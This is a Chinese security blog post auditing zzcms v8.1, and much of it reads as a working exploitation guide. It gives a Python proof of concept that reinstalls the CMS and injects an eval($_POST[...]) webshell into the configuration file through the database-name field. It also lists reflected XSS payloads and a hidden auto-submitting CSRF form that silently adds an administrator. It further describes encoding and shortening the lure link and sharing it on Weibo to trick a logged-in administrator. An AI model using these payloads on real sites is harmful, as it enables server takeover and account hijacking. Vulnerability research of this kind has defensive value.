zzcms v8.1审计

作者: 浏览次数: 1711 时间: 2017-12-07 评论: 2条评论

一、重装漏洞

和其他CMS没有什么两样,都是通过lock文件来判定是否安装过CMS,只不过这里出现问题的是,对于lock文件的判定不是全局,而是仅仅在step1进行了判定,攻击者可以直接POST请求step2、step3来进行重装。分析如下:
Install/Index.php文件:

$submit = isset($_POST['submit']) ? true : false;
$step = isset($_POST['step']) ? $_POST['step'] : 1;
……
switch($step) {
    case '1'://协议
        include 'step_'.$step.'.php';
    break;
    case '2'://环境
        $pass = true;
        $PHP_VERSION = PHP_VERSION;
        if(version_compare($PHP_VERSION, '4.3.0', '<')) {
            $php_pass = $pass = false;
        } else {
            $php_pass = true;
        }
        $PHP_MYSQL = '';
        if(extension_loaded('mysql')) {
            $PHP_MYSQL = '支持';
            $mysql_pass = true;
        } else {
            $PHP_MYSQL = '不支持';
            $mysql_pass = $pass = false;
        }
        $PHP_GD = '';
        if(function_exists('imagejpeg')) $PHP_GD .= 'jpg';
        if(function_exists('imagegif')) $PHP_GD .= ' gif';
        if(function_exists('imagepng')) $PHP_GD .= ' png';
        if($PHP_GD) {
            $gd_pass = true;
        } else {
            $gd_pass = false;
        }
        $PHP_URL = @get_cfg_var("allow_url_fopen");//是否支持远程URL,采集有用
        $url_pass = $PHP_URL ? true : false;
        include 'step_'.$step.'.php';
    break;
    case '3'://查目录属性
        include 'step_'.$step.'.php';
    break;
    case '4'://建数据库
        include 'step_'.$step.'.php';
    break;
    case '5'://安装进度
        function dexit($msg) {
            echo '<script>alert("'.$msg.'");window.history.back();</script>';
            exit;
        }
        
        if(!mysql_connect($db_host, $db_user, $db_pass)) dexit('无法连接到数据库服务器,请检查配置');
        $db_name or dexit('请填写数据库名');
        if(!mysql_select_db($db_name)) {
            if(!mysql_query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
        }
        
        //保存配置文件
        $fp="../inc/config.php";
        $f = fopen($fp,'r');
        $str = fread($f,filesize($fp));
        fclose($f);
        $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
        $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
        $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
        $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
        $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
        $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
        $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
        fputs($f,$str);//把替换后的内容写入文件
        fclose($f);
        //创建数据
        include 'step_'.$step.'.php';
        break;
    case '6'://安装成功
        include 'step_'.$step.'.php';
    break;
}
文件首先判断是否存在以POST提交的参数step,如果存在,那么进入安装的流程。由于默认为1,所以基本上只要打开install/index.php界面就是这个界面:

1.png

先看看step_1.php:

2.png
存在判断。可是step_2、step_3、step_4均不存在:
3.png
4.png
5.png
这也就造成了重装漏洞。
直接访问:
6.png
然后点击下一步即可。最后会进入数据库链接界面:

7.png

这里需要注意的是,从step_3到step_4会自动生成一个token:

Step_3.php:
if(@$step==3){
$token = md5(uniqid(rand(), true));    
$_SESSION['token']= $token;

所以如果直接提交安装的参数会不能安装,因此需要按照步骤来进行重装。
到这里如果知道数据库密码,那么重装不是问题了,一般重装都是可以直接拿shell的,看了下配置文件,果然:

8.png

而在创建数据库名的时候,这套CMS也是没有进行过滤的:

9.png

因此可以创建数据库名为

cpanda;-- -');eval($_POST[123]);//'

的payload,直接写入一句话。

10.png

查看配置文件inc/config.php

11.png
已经成功插入一句话。所以直接连接就可以。也可以连接install/index.php 因为这个文件是引用了config.php的。

12.png

所以综上,利用POC如下:

# coding=utf-8
import requests
import cgi
from bs4 import BeautifulSoup

s = requests.Session()
url_1 = 'http://127.0.0.1/install/index.php'
def get_token(url_1):
    data = {"step":"3"}
    request = s.post(url_1,data=data)
    html = request.content
    soup = BeautifulSoup(html)
    token = soup.find('input', {'name': 'token'})["value"]
    return token
data_1 = {"step":"5","token":get_token(url_1),"db_host":"localhost","db_user":"root","db_pass":"root","db_name":"panda;-- -');eval($_POST[123]);//'","url":"http://localhost/","admin":"admin","adminpwd":"admin888","adminpwd2":"admin888"}
getResult = s.post(url_1,data=data_1)
print getResult.text
print "\nOK!The CMS had reset!"
 

13.png

二、XSS+CSRF创建管理员

审计的时候发现了一处XSS:
14.png

<input name="noshuiyin" type="hidden" id="noshuiyin" value="<?php echo @$_GET['noshuiyin']?>" />
<input name="imgid" type="hidden" id="imgid" value="<?php echo @$_GET['imgid']?>" />

隐藏字段noshuiyin和imgid,直接提交相应的参数就可以执行XSS,只不过这里遇到的小问题是,这套源码把单引号双引号给转义了:
15.png
这种过滤没什么用,绕过的方法太多,这里提供几个payload:

http://localhost/uploadimg_form.php?noshuiyin="/><img src=0
onerror=alert(1)>
http://localhost/uploadimg_form.php?noshuiyin="/><script>alert(1);</script>
http://localhost/uploadimg_form.php?noshuiyin="/><script>alert(/xss/)</script>
http://localhost/uploadimg_form.php?noshuiyin="/><input
onfocus=alert(1) autofocus>
http://localhost/uploadimg_form.php?noshuiyin="/><iframe/onload=alert(/xss/)>
http://localhost/uploadimg_form.php?noshuiyin="/><p
onmouseover=alert(/xss/)>xss xss</p>

反射型的XSS一般危险性是低,但一旦它和SCRF结合,就会产生美妙的效果:
先到后台试一试添加管理员,尝试抓包:
16.png
果然是没有Token的,那么就简单了,直接构造payload:

你好!再见!

<form method="POST" action="http://127.0.0.1/admin/adminadd.php?action=add" target="hidden_frame">
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="admins" value="panda" />
<input type="hidden" name="passs" value="1230123" />
</form>
<iframe style="DISPLAY: none" id=hidden_frame name=hidden_frame></iframe>
<script>document.forms[0].submit();</script>

效果如下:
17.png
不会跳转到添加管理员成功后界面,但实际上管理员已经添加上了:
18.png
可以说神不知鬼不觉的创建了一个管理员。当然,需要有前提的,这个前提是管理员已经登录的情况下才不会跳转,如果没有登录依旧会跳转的:
19.png
所以到这里,我们将XSS和CSRF相结合,效果就出来了,效果如下:
Payload:

http://localhost/
uploadimg_form.php?noshuiyin="/><script>location.href=http://localhost/test.html</script>

这里有个Tips,因为前文说了,过滤了单双引号,而想要跳转链接就避免不了的使用单双引号,后来请求师傅们帮助,得到了解决方法。使用`代替单双引号即可!
在加密混淆一下:

http://127.0.0.1/
uploadimg_form.php?noshuiyin=%22%2f%3e%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%60%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%2f%74%65%73%74%2e%68%74%6d%6c%60%3c%2f%73%63%72%69%70%74%3e

或者短连接:
20.png

21.png
或者最后再来一个分享到微博:
22.png
这个链接美滋滋~~
可能有人问为何要将这个链接给加密而不直接给自己搭建的钓鱼地址加密,原因就在于referer验证了,有的CSRF没有token的限制但是还有Referer的限制,不过这个CMS是没有Referer限制的,直接在自己的服务器上搭建那个payload让管理员访问就可以了,这里只是提供一个如果有referer验证应该如何绕的例子。

订阅本站(RSS)

已有 2 条评论

  1. 额

    XSS+SCRF创建管理员 应该是 XSS+CSRF创建管理员

    时间: 2018-10-30 at 12:47 回复
    1. panda

      写错了 已经修改 谢谢指出

      时间: 2018-12-24 at 19:44 回复

添加新评论